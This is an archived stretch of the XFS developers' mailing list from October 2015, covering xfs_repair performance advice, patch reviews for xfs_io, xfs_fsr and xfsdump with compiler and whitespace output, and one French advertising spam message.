(PDT) X-ASG-Debug-ID: 1445991466-04cb6c7b86bf120001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id dqznXW1z2p7JDW6z for ; Tue, 27 Oct 2015 17:17:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D9CADfEjBWPBQPLHlYBigBgw1Ub4Jcp0cGiymLLSGFcwQCAoFATQEBAQEBAQcBAQEBQT+ENQEBAQMBOhwjBQsIAw4KCSUPBSUDBxoTiCgHDsUtAQEIAiEZhheFRYJugUcJDEMHhC4FhzmHEIdvhRyIAIFhh2OFaokcg3CCdB2Baio0AYQzAQECHAeBIgEBAQ Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail04.adl6.internode.on.net with ESMTP; 28 Oct 2015 10:47:45 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrEQy-0006HD-RJ; Wed, 28 Oct 2015 11:17:44 +1100 Date: Wed, 28 Oct 2015 11:17:44 +1100 From: Dave Chinner To: Michael Weissenbacher Cc: xfs@oss.sgi.com Subject: Re: Speeding up xfs_repair on filesystem with millions of inodes Message-ID: <20151028001744.GO19199@dastard> X-ASG-Orig-Subj: Re: Speeding up xfs_repair on filesystem with millions of inodes References: <562F699E.2050002@dermichi.com> <20151027193855.GM8773@dastard> <562FFFF7.4010908@dermichi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <562FFFF7.4010908@dermichi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445991466 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23878 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 27, 2015 at 11:51:35PM +0100, Michael Weissenbacher wrote: > Hi Dave! > First of all, today i cancelled the running xfs_repair (CTRL-C) and > upped the system RAM from 8GB to 16GB - the maximum possible with this > hardware. > > Dave Chinner wrote: > > It's waiting on inode IO to complete in memory reclaim. I'd say you > > have a problem with lots of dirty inodes in memory and very slow > > writeback due to using something like RAID5/6 (this can be > > *seriously* slow as mentioned recently here: > > http://oss.sgi.com/archives/xfs/2015-10/msg00560.html). > Unfortunately, this is a rather slow RAID-6 setup with 7200RPM disks. > However, before the power loss occurred it performed quite OK for our > use case and without any hiccups. But some time after the power loss > some "rm" commands hung and didn't proceed at all. There was no CPU > usage and there was hardly any I/O on the file system. That's why I > suspected some sort of corruption. Maybe you have a disk that is dying. Do your drives have TLER enabled on them? > Dave Chinner wrote: > > Was it (xfs_repair) making progress, just burning CPU, or was it just hung? > > Attaching the actual output of repair is also helpful, as are all > > the things here: > > ... > The xfs_repair seemed to be making progress, albeit very very slowly. In > iotop i saw about 99% I/O usage on kswapd0. Looking at the HDD LED's of > the array, i could see that there was hardly any access to it at all > (only once about every 10-15 seconds). kswapd is tryingto reclaim kernel memory, which has nothing directly to do with xfs_repair IO or cpu usage. Unless, of course, it is trying to do reclaim for grab more memory for xfs_repair... > I didn't include xfs_repair output, since it showed nothing unusual. > ---snip--- > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... > - found root inode chunk > Phase 3 - for each AG... > - scan and clear agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > ... > - agno = 14 > - process newly discovered inodes... > Phase 4 - check for duplicate blocks... > - setting up duplicate extent list... > - check for inodes claiming duplicate blocks... > - agno = 0 > ... > - agno = 14 > Phase 5 - rebuild AG headers and trees... > - reset superblock... > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - traversing filesystem ... > ---snip--- > (and sitting there for about 72 hours) It really hasn't made much progress if it's still traversing the fs after 72 hours. > Dave Chinner wrote: > > If repair is swapping, then adding more RAM and/or faster swap space > > will help. There is nothing that you can tweak that changes the > > runtime or behaviour of phase 6 - it is single threaded and requires > > traversal of the entire filesystem directory heirarchy to find all > > the disconnected inodes so they can be moved to lost+found. And it > > does write inodes, so if you have a slow SATA RAID5/6... > Ok, so if i understand you correctly, none of the parameters will help > for phase 6? I know that RAID-6 has slow write characteristics. But in > fact I didn't see any writes at all with iotop and iostat. If kswapd is doing all the work, then it's essentially got no memory available. I would add significantly more swap space as well (e.g. add swap files to the root filesystem - you can do this while repair is running, too). If there's sufficient swap space, then repair should use it fairly efficiently - it doesn't tend to thrash swap because most of it's memory usage is for information that is only accessed once per phase or is parked until it is needed in a later phase so it doesn't need to be read from disk again... > Dave Chinner wrote: > > > > See above. Those numbers don't include reclaimable memory like the > > buffer cache footprint, which is affected by bhash and concurrency.... > > > As said above, i did now double the RAM of the machine from 8GB to 16GB. > Now I started xfs_repair again with the following options. I hope that > the verbose output will help to understand better what's actually going on. > # xfs_repair -m 8192 -vv /dev/sdb1 > > Besides, is it wise to limit the memory with "-m" to keep the system > from swapping or should I be better using the defaults (which would use > 75% of RAM)? Defaults, but it's really only a guideline for cache sizing. If repair needs more memory to store metadata it is validating (like the directory structure) then it will consume as much as it needs. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Oct 27 20:00:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7157E7F37 for ; Tue, 27 Oct 2015 20:00:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4FABA8F8040 for ; Tue, 27 Oct 2015 18:00:25 -0700 (PDT) X-ASG-Debug-ID: 1445994022-04bdf0330bd1b60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id C8AXLg8gWYh8J6io for ; Tue, 27 Oct 2015 18:00:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AfCQCwHTBWPBQPLHleKAGDDYFDglyDfqNKBosphSSGCYYUBAICgUBNAQEBAQEBBwEBAQFBP4Q2AQEEOhwzCAMOCgklDwUlAwcaARKIL8UyDCEZhheFRYUUhC4BBJY4jRyPLo0MhHsqNIV9AQEB Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail04.adl6.internode.on.net with ESMTP; 28 Oct 2015 11:29:25 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrF5I-0006N1-QV; Wed, 28 Oct 2015 11:59:24 +1100 Date: Wed, 28 Oct 2015 11:59:24 +1100 From: Dave Chinner To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: implement 'inode' command V3 Message-ID: <20151028005924.GP19199@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: implement 'inode' command V3 References: <1445257880-30797-1-git-send-email-cmaiolino@redhat.com> <20151022144255.GB13661@bfoster.bfoster> <20151023092946.GA752@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151023092946.GA752@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445994022 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23879 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 23, 2015 at 11:29:46AM +0200, Carlos Maiolino wrote: > Thanks for the review Brian, I'll walk over it and fix the points you mentioned. > > > > > > I still don't really get why we have separate -l and -s options here. It > > seems to me that the behavior of -l already gives us the information > > that -s does. Even if that's not obvious enough, the -l command could > > just print out both. For example: > > > > "Largest inode: 1234 (32-bit)" > > I agree with you here, but, I'll let Dave answer this question, maybe he had > some another idea for it that I'm not aware of. No preference here; all that I was suggesting was that if you want to know whether inodes are 32/64 bit it doesn't matter what the largest inode number is. i.e. "Can I mount this with inode32 and have no problems (yes/no)?" And it's a lot easier to just query for *any* 64 bit inode than it is to find the largest inode number... If you want to combine the two, then that's fine by me. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Oct 27 23:57:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9B0887F37 for ; Tue, 27 Oct 2015 23:57:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6DAB0304032 for ; Tue, 27 Oct 2015 21:57:28 -0700 (PDT) X-ASG-Debug-ID: 1446008244-04bdf03309d70f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 6XkfZL83bpJU5eTn for ; Tue, 27 Oct 2015 21:57:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B1CAD1VDBWPBQPLHleKAGDDVRvglyDfqNOBosohSSGCRmFfAICAQECgTxNAQEBAQEBBwEBAQFAAT+ENgEBBCcLASMjEAgDDgoJJQ8FJQMHGhOIL8UmAQEIAgEgGYYXhUWFDQeELgWWOoUciACBYUiRQYhQhHsqNIV9AQEB Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail04.adl6.internode.on.net with ESMTP; 28 Oct 2015 15:26:46 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrImz-0006lX-TA; Wed, 28 Oct 2015 15:56:45 +1100 Date: Wed, 28 Oct 2015 15:56:45 +1100 From: Dave Chinner To: Jan Tulak Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfsprogs: make fsr use mntinfo when there is no mntent Message-ID: <20151028045645.GQ19199@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: make fsr use mntinfo when there is no mntent References: <1445338883-7000-1-git-send-email-jtulak@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <1445338883-7000-1-git-send-email-jtulak@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1446008244 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 20, 2015 at 01:01:23PM +0200, Jan Tulak wrote: > I'm resubmitting this patch from my OS X set - it wasn't included with > others, nor in the current for-next, and I didn't got any review/reply > to this last iteration. > > So my guess is it fell under the sofa, forgotten... :-) > > ......... > > UPDATE: > - refactor ifdefs to platform_ functions > - refactor also the other ifdef which I forgot to change before > - (and rebase against current for-next) > > For what fsr needs, mntinfo can be used instead of mntent on some > platforms. Exctract the platform-specific code to platform headers. > > Signed-off-by: Jan Tulak Code structure looks good now, but build warnings on linux: [CC] xfs_fsr.o xfs_fsr.c: In function ¿find_mountpoint_check¿: xfs_fsr.c:184:26: warning: passing argument 2 of ¿stat64¿ from incompatible pointer type if (stat64(t->mnt_dir, &ms) < 0) ^ In file included from /usr/include/features.h:374:0, from /usr/include/stdio.h:27, from ../include/platform_defs.h:24, from ../include/libxfs.h:23, from xfs_fsr.c:19: /usr/include/x86_64-linux-gnu/sys/stat.h:502:1: note: expected ¿struct stat64 *¿ but argument is of type ¿struct stat64 **¿ __NTH (stat64 (const char *__path, struct stat64 *__statbuf)) ^ xfs_fsr.c:195:29: warning: passing argument 2 of ¿stat64¿ from incompatible pointer type if (stat64(t->mnt_fsname, &ms) < 0) ^ In file included from /usr/include/features.h:374:0, from /usr/include/stdio.h:27, from ../include/platform_defs.h:24, from ../include/libxfs.h:23, from xfs_fsr.c:19: /usr/include/x86_64-linux-gnu/sys/stat.h:502:1: note: expected ¿struct stat64 *¿ but argument is of type ¿struct stat64 **¿ __NTH (stat64 (const char *__path, struct stat64 *__statbuf)) ^ xfs_fsr.c: In function ¿initallfs¿: xfs_fsr.c:435:39: warning: passing argument 2 of ¿platform_mntent_next¿ from incompatible pointer type while (platform_mntent_next(&cursor, &mp) == 0) { ^ In file included from ../include/xfs.h:37:0, from ../include/libxfs.h:24, from xfs_fsr.c:19: ../include/xfs/linux.h:166:19: note: expected ¿struct mntent *¿ but argument is of type ¿struct mntent **¿ static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) ^ xfs_fsr.c:436:37: warning: passing argument 2 of ¿find_mountpoint_check¿ from incompatible pointer type mntp = find_mountpoint_check(&sb, &mp, &ms); ^ xfs_fsr.c:181:1: note: expected ¿struct mntent *¿ but argument is of type ¿struct mntent **¿ find_mountpoint_check(struct stat64 *sb, struct mntent *t, struct stat64 *ms) ^ [LD] libxcmd.la Cheers, Dave. -- Dave Chinner david@fromorbit.com From claude@catimini541.eu Wed Oct 28 02:47:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,T_DKIM_INVALID,T_KHOP_FOREIGN_CLICK,T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BFC497F3F for ; Wed, 28 Oct 2015 02:47:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AF5E0304032 for ; Wed, 28 Oct 2015 00:47:06 -0700 (PDT) X-ASG-Debug-ID: 1446018420-04cb6c7b84c8e90001-NocioJ Received: from vps.geberit619.eu (vps.geberit619.eu [93.115.96.165]) by cuda.sgi.com with ESMTP id rBGEAOteEBZCbCFy (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 28 Oct 2015 00:47:01 -0700 (PDT) X-Barracuda-Envelope-From: claude@catimini541.eu X-Barracuda-Apparent-Source-IP: 93.115.96.165 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=catimini541.eu; s=itek; t=1446018419; bh=ZoIjjwXA7zTs5XPDopWVesBWPRFg+C+tTVahKUIndCs=; h=Date:From:To:Reply-to:Subject:From; b=NbPiX5gNFFd+K5l0kxhQeNI2zQPXZEA2/ans+b/Vsm147sJdKkLv3gCYxf9pLN+fL xwXWY2d4rzuHHnplkhVmhqLezvvIxXWUpUmj80YZRfmxSQqTFrwq8/YoBUA4iRzTK9 xOKVAWAXV4lnmZr25R8ToXvi58QCuA97izKP6IUM= Date: Wed, 28 Oct 2015 08:46:54 +0000 From: Orange - Ma publicite locale To: xfs@oss.sgi.com Reply-to: Orange - Ma publicite locale User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; Microsoft Outlook 15.0.4420) MIME-Version: 1.0 Subject: Faites-vous connaitre sur Google grace a l expertise Orange Content-Type: multipart/alternative; boundary="------------090303040206050206060505" X-ASG-Orig-Subj: Faites-vous connaitre sur Google grace a l expertise Orange X-Barracuda-Connect: vps.geberit619.eu[93.115.96.165] X-Barracuda-Start-Time: 1446018421 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.64 X-Barracuda-Spam-Status: No, SCORE=0.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0713, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_06, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23885 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_MV0713 Custom rule MV0713 Message-Id: <20151028074706.918F01296088@cuda.sgi.com> This is a multi-part message in MIME format. --------------090303040206050206060505 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Si vous ne visualisez pas correctement ce message merci de suivre ce lien. Orange Visibilité par Orange Google Je me fais connaître sur Google Diagnostic gratuit et personnalisé Visibilité maximale Nos experts s'occupent de tout pour vous j'en profite Pour vous désinscrire , cliquez ici. --------------090303040206050206060505 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit --------------090303040206050206060505-- From bfoster@redhat.com Wed Oct 28 06:51:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 59FC629DF5 for ; Wed, 28 Oct 2015 06:51:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2F40A8F8035 for ; Wed, 28 Oct 2015 04:51:42 -0700 (PDT) X-ASG-Debug-ID: 1446033100-04bdf0330ce07b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id QrpHXnTO4E2XVWy2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 28 Oct 2015 04:51:40 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 7F4065C; Wed, 28 Oct 2015 11:51:40 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9SBpeZh032500; Wed, 28 Oct 2015 07:51:40 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 64BC61201AB; Wed, 28 Oct 2015 07:51:39 -0400 (EDT) Date: Wed, 28 Oct 2015 07:51:39 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! Message-ID: <20151028115138.GB50552@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! References: <1444959901-31319-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446033100 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 16, 2015 at 12:44:53PM +1100, Dave Chinner wrote: > Hi folks, > > Turns out that changes to exported XFS headers in xfsprogs v4.2.0 > broke the xfsdump build. the XFS dump build was implicitly including > the platform definitions calculated for the xfsprogs build and so > removing them from the xfsprogs headers made xfsdump very unhappy. > ... > > So, now the code base is a little bit cleaner, a lot less dependent > on the xfsprogs header files, compiles cleanly on xfsprogs 3.2.x and > 4.x releases, can easily have asserts build in or excluded (distro > packages need to use "export DEBUG=-DNDEBUG" to exclude asserts), > passes xfstests with asserts enabled and disabled, and best of all > the source code is a little less eye-bleedy. > > I really don't expect anyone to review this closely - it's *huge* > chunk of boring search/replace change: > > 94 files changed, 2929 insertions(+), 2652 deletions(-) > > but I would like people to comment on/ack the approach I've taken > here. If nobody objects/cares, I'll then do a 3.1.6 release early > next week.... > I sent some comments on patch 1, otherwise the rest looks reasonable to me on a quick pass through. The only thing I noticed is that the series introduced a handful of whitespace problems. I didn't go and track them into the individual patches, but here's the full output from my patch import: Applying: cleanup: get rid of ASSERT /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:3725: space before tab in indent. assert( namebuf ); /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:5656: trailing whitespace. assert ( ent != NULL ); /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:5855: trailing whitespace. assert ( ent != NULL ); warning: 3 lines add whitespace errors. Applying: build: don't rely on xfs/xfs.h to include necessary headers Applying: cleanup: kill intgen_t /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:2018: trailing whitespace. static int /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:3295: space before tab in indent. int fsfd, /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:6044: trailing whitespace. int namebuflen; warning: 3 lines add whitespace errors. Applying: cleanup: kill u_int*_t types /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:255: trailing whitespace. static uint32_t erase_and_verify( drive_t *drivep ); /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:1372: trailing whitespace. uint s_max_nstreams;/* number of media streams in /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:1461: trailing whitespace. DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, uint ref, /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:1816: trailing whitespace. uint16_t d_sum; warning: 4 lines add whitespace errors. Applying: cleanup: define a local xfs_ino_t Applying: cleanup: use system uuid.h headers Applying: cleanup: move fold_t out of util.h /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:85: trailing whitespace. /* flg definitions for preemptchk warning: 1 line adds whitespace errors. Applying: cleanup: Kill unnecessary xfs includes Brian > -Dave. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Wed Oct 28 06:51:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 69E2529DF5 for ; Wed, 28 Oct 2015 06:51:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6BA3AC002 for ; Wed, 28 Oct 2015 04:51:56 -0700 (PDT) X-ASG-Debug-ID: 1446033084-04cbb0660dd5eb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oTlWQniSXa8nVeAq (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 28 Oct 2015 04:51:25 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 7C965DA2; Wed, 28 Oct 2015 11:51:24 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9SBpNGn005793; Wed, 28 Oct 2015 07:51:23 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7E8E41201AB; Wed, 28 Oct 2015 07:51:22 -0400 (EDT) Date: Wed, 28 Oct 2015 07:51:22 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/8] cleanup: get rid of ASSERT Message-ID: <20151028115121.GA50552@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/8] cleanup: get rid of ASSERT References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <1444959901-31319-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444959901-31319-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446033085 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 16, 2015 at 12:44:54PM +1100, Dave Chinner wrote: > From: Dave Chinner > > ASSERT comes from the xfs/xfs.h include, and we don't ever define > DEBUG so we never get asserts built in. We want asserts built in for > testing, but not for distro packages. The debian package already > tries to do this by using "export DEBUG=-DNDEBUG" for the build > context, but seeing as we pull in #define ASSERT(ex) (0) from the > XFS headers it's a no-op. > > Convert all the ASSERT calls to assert to remove this conflict with > the xfsprogs headers and so local developer builds are built with > asserts enabled. > > Signed-off-by: Dave Chinner > --- My initial concern when reading this was that asserts were now unconditionally enabled. According to the man page, assert() is enabled unless NDEBUG is defined at include time. The debian builder apparently does this, but is this standard for other such utils? That aside, this seems like an inconsistent approach from our other tools. For example, the debian/rules from xfsprogs does the same thing, yet DEBUG must be defined to enable asserts in the first place. If the problem is that asserts cannot be enabled, I'm wondering why the appropriate fix isn't to define DEBUG somewhere for debug-enabled builds rather than unconditionally convert all of the ASSERT() calls into actual assert()'s..? We do actually have a bunch of '#ifdef DEBUG' code throughout xfsdump (and DEBUG appears in 'configure' as well, though I have no idea if that actually does anything)... Brian > common/arch_xlate.c | 1 + > common/cldmgr.c | 3 +- > common/cleanup.c | 7 +- > common/content_common.c | 13 +- > common/content_inode.h | 4 +- > common/dlog.c | 13 +- > common/drive.c | 17 ++- > common/drive_minrmt.c | 369 ++++++++++++++++++++++----------------------- > common/drive_scsitape.c | 389 ++++++++++++++++++++++++------------------------ > common/drive_simple.c | 151 +++++++++---------- > common/fs.c | 23 +-- > common/global.c | 13 +- > common/hsmapi.c | 1 + > common/inventory.c | 33 ++-- > common/lock.c | 3 +- > common/main.c | 99 ++++++------ > common/media.c | 21 +-- > common/mlog.c | 21 +-- > common/openutil.c | 3 +- > common/path.c | 25 ++-- > common/qlock.c | 29 ++-- > common/ring.c | 65 ++++---- > common/stream.c | 15 +- > common/util.c | 41 ++--- > dump/content.c | 239 ++++++++++++++--------------- > dump/inomap.c | 19 +-- > inventory/inv_api.c | 33 ++-- > inventory/inv_core.c | 7 +- > inventory/inv_files.c | 9 +- > inventory/inv_fstab.c | 5 +- > 